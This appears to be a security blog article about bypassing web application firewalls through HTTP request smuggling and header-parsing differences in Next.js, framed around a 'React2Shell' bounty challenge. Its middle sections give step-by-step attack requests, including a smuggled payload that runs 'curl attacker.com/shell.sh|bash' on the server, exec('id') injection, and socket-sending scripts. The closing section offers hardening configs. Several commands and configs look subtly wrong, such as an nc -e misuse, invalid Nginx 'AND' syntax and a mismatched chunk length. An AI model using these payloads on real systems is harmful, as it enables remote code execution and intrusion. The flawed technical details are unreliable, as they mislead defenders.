Listen to this Post

Introduction:
When Vercel launched their React2Shell challenge, offering $50,000 per WAF bypass, they exposed a critical truth: modern web application firewalls often fail because they parse HTTP requests differently than the backend server. Parser differentials—subtle inconsistencies in how a WAF and a web framework like Next.js interpret the same raw HTTP request—can turn a protected endpoint into a remote code execution (RCE) vector. This article dissects the techniques that earned researchers $170,000, focusing on HTTP request smuggling, header normalization attacks, and practical steps to detect and mitigate these bypasses.
Learning Objectives:
- Understand how parser differentials between WAFs and Next.js enable request smuggling and RCE.
- Learn to craft malicious HTTP requests that exploit header parsing inconsistencies.
- Implement defensive configurations for Nginx, Apache, and Next.js to block parser-based bypasses.
You Should Know:
- Understanding Parser Differentials: The Core of the $170k Bypass
The fundamental trick behind all five successful bypasses was making the WAF’s HTTP parser and Next.js disagree about where one request ends and another begins. This class of vulnerability, known as HTTP request smuggling, relies on ambiguous handling of the `Content-Length` and `Transfer-Encoding` headers. The WAF might see a benign request while the backend executes a hidden payload.
Step‑by‑step guide to testing for parser differentials:
Step 1: Identify the backend server. Use `curl` to inspect response headers:
curl -I https://target-nextjs-app.com/api/test
Look for `server: Vercel`, `x-vercel-cache`, or `x-nextjs-cache`.
Step 2: Send an ambiguous request with conflicting headers. On Linux/macOS (or WSL), use:
curl -v -H "Transfer-Encoding: chunked" -H "Content-Length: 50" -d "0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n" https://target-nextjs-app.com/api/endpoint
On Windows PowerShell (using `Invoke-WebRequest` is less precise; use `curl.exe` if available):
curl.exe -v -H "Transfer-Encoding: chunked" -H "Content-Length: 50" -d "0<code>r</code>n<code>r</code>nGET /admin HTTP/1.1<code>r</code>nHost: target.com<code>r</code>n<code>r</code>n" https://target-nextjs-app.com/api/endpoint
Step 3: Observe the discrepancy. If the WAF blocks the request but the backend responds with an unexpected route (e.g., `/admin` content), a parser differential exists.
Why this works: Many WAFs ignore `Transfer-Encoding` when `Content-Length` is present (or vice versa), while Node.js/Next.js strictly follows RFC 7230, prioritising Transfer-Encoding: chunked. By sending both headers, an attacker can make the WAF calculate a small body length, while the backend processes the chunked data—including a smuggled request.
2. Crafting the Request Smuggling Payload for React2Shell
React2Shell refers to a command injection vulnerability in React Server Components (CVE-2024-34342, similar to the older “React2Shell” pattern). To achieve RCE, an attacker injects JavaScript code into the `next-data` endpoint or via prototype pollution. Combining smuggling with the injection yields a complete bypass.
Step‑by‑step guide to building a smuggling payload:
Step 1: Create a malicious chunked request. Save the following raw HTTP request as smuggled.txt:
POST /_next/data/development/build-id/test.json HTTP/1.1
Host: target.vercel.app
Transfer-Encoding: chunked
Content-Type: application/json
3c
{"query":"{<strong>proto</strong>: {then: <code>$1$2$3</code>}}", "input":{"$type":"function","value":"require('child_process').exec('curl attacker.com/shell.sh|bash')"}}
0
Step 2: Send it using netcat (Linux) or Telnet (Windows with WSL):
nc target.vercel.app 443 -e smuggled.txt For HTTP (port 80) or use openssl s_client for HTTPS
For HTTPS, use:
openssl s_client -connect target.vercel.app:443 -ign_eof < smuggled.txt
Step 3: On Windows (without WSL), use PowerShell with a TCP socket:
$socket = New-Object System.Net.Sockets.TcpClient('target.vercel.app', 443)
$stream = $socket.GetStream()
$ssl = New-Object System.Net.Security.SslStream($stream, $false, ({$true}))
$ssl.AuthenticateAsClient('target.vercel.app')
$data = [System.Text.Encoding]::UTF8.GetBytes((Get-Content -Path smuggled.txt -Raw))
$ssl.Write($data)
$ssl.Flush()
Read response
$reader = New-Object System.IO.StreamReader($ssl)
$reader.ReadToEnd()
How it works: The smuggled request adds a prototype pollution payload inside a JSON query. Next.js’s server component parser evaluates the `then` function, executing the command injection. The WAF never sees the smuggled part because it only processes the first request’s headers.
3. Header Normalization Attacks: Duplicate and Folded Headers
Another effective bypass technique involves abusing how different HTTP parsers handle duplicate headers or line folding. For example, sending `X-Forwarded-For: 127.0.0.1` twice – some WAFs take the first value, while Next.js merges or takes the second.
Step‑by‑step guide to bypass via duplicate headers:
Step 1: Identify a header that influences routing or security (e.g., X-Original-URL, X-Forwarded-Prefix).
Step 2: Send two identical headers but with different casing or spacing:
curl -H "X-Original-URL: /admin" -H "x-original-url: /public/../admin?delete=true" https://target.com/api/protected
Step 3: Observe response differences. If the backend uses the second header while the WAF normalises to the first, a path traversal or parameter injection is possible.
Linux/Windows command to fuzz for header normalisation (using `ffuf` installed via `sudo apt install ffuf` or `choco install ffuf` on Windows):
ffuf -u https://target.com/FUZZ -H "X-Original-URL: FUZZ" -w list.txt -H "x-original-url: FUZZ2" -w list2.txt -fc 403,404
Why this works: Reverse proxies (like Cloudflare, AWS ALB) often normalise header names to lowercase, but Next.js’s `req.headers` object preserves the original case unless explicitly lowercased. An attacker can inject a header that the WAF ignores but the backend processes.
- Exploiting React2Shell – Command Injection via Server Actions
The React2Shell vulnerability (CVE-2024-34342) stems from unsafe deserialisation of Server Action payloads. When combined with a WAF bypass, an attacker can directly call internal endpoints like `/_next/action` with a crafted `$ACTION_REF_0` parameter.
Step‑by‑step guide to test for React2Shell (authorised environment only):
Step 1: Locate a Next.js application with server actions enabled. Look for /_next/static/chunks/app/.../action.js.
Step 2: Send a POST request to `/_next/action` with a polymorphic payload:
curl -X POST https://target.com/_next/action \ -H "Content-Type: multipart/form-data; boundary=-WebKitFormBoundary" \ -H "Transfer-Encoding: chunked" \ -d $'0\r\n\r\nPOST /_next/action?$ACTION_REF_0=require(%27child_process%27).exec(%27id%27) HTTP/1.1\r\nHost: target.com\r\n\r\n'
Step 3: If successful, the server returns the output of the `id` command in the response or via an out-of-band channel (DNS/HTTP callback).
Mitigation code for Next.js (in `next.config.js`):
module.exports = {
serverActions: {
allowedOrigins: ['yourdomain.com'],
bodySizeLimit: '1mb',
},
httpAgentOptions: {
keepAlive: false, // disable persistent connections to reduce smuggling risk
},
// Strict header parsing
headers: async () => [{
source: '/(.)',
headers: [{ key: 'X-Content-Type-Options', value: 'nosniff' }]
}]
}
5. Mitigation & Hardening: Defending Against Parser Differentials
Organisations can block parser-based bypasses by enforcing strict, unified HTTP parsing across all layers. Here are actionable steps for Linux/Windows server administrators and DevOps teams.
Step‑by‑step guide to harden your environment:
Step 1: Configure your reverse proxy to normalise or reject ambiguous requests. For Nginx (Linux):
server {
listen 443 ssl;
Reject requests with both Content-Length and Transfer-Encoding
if ($http_transfer_encoding ~ "chunked" AND $http_content_length != "") {
return 400;
}
Normalise header names to lowercase
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $host;
Enable mod_security rules for smuggling
proxy_pass http://nextjs_backend;
}
For IIS (Windows Server) using URL Rewrite:
<rule name="Block Smuggling" stopProcessing="true">
<match url="." />
<conditions>
<add input="{HTTP_TRANSFER_ENCODING}" pattern="chunked" />
<add input="{HTTP_CONTENT_LENGTH}" pattern="\d+" />
</conditions>
<action type="AbortRequest" />
</rule>
Step 2: Update Next.js and Node.js to patched versions. Run:
npm update next react react-dom npm audit fix --force
On Windows (same commands in PowerShell or CMD).
Step 3: Implement a Web Application Firewall that uses the same HTTP parser as your backend. For example, deploy AWS WAF with the Core Rule Set (CRS) or Cloudflare WAF in “strict parsing” mode. Test using the smuggled payloads above.
Step 4: Monitor logs for parser discrepancies. Use ELK or Splunk to search for HTTP 400 responses due to conflicting headers and requests where `Content-Length` does not match actual body size.
What Undercode Say:
- Parser differentials are not theoretical – they are the primary reason WAFs fail against modern RCE attacks. The $170,000 bounty proves that a single trick can bypass most commercial protections.
- Next.js and Vercel’s transparency in running this challenge sets a benchmark for responsible disclosure. Developers must treat HTTP parsers as attack surfaces and adopt unified libraries (like `llhttp` used by Node.js) across all middleware.
- Defence requires depth and consistency – no single WAF rule can fix ambiguous parsing. Use reverse-proxy layers that reject malformed requests, enable strict transport security, and regularly fuzz your own endpoints with tools like `smuggler` or
http-request-smuggling.
Prediction:
As server-side rendering frameworks like Next.js gain adoption, we will see a spike in parser-based exploits targeting edge functions and serverless runtimes. The next wave of high-bounty bug bounties will shift from traditional injection flaws to protocol-level inconsistencies between CDNs, load balancers, and application servers. Expect WAF vendors to release “unified parser” products within 12–18 months, but until then, manual hardening and continuous fuzzing remain the only reliable defence. The React2Shell challenge may have cost Vercel $170,000, but it saved the ecosystem millions in potential breach damages.
▶️ Related Video (86% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: 170k In – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


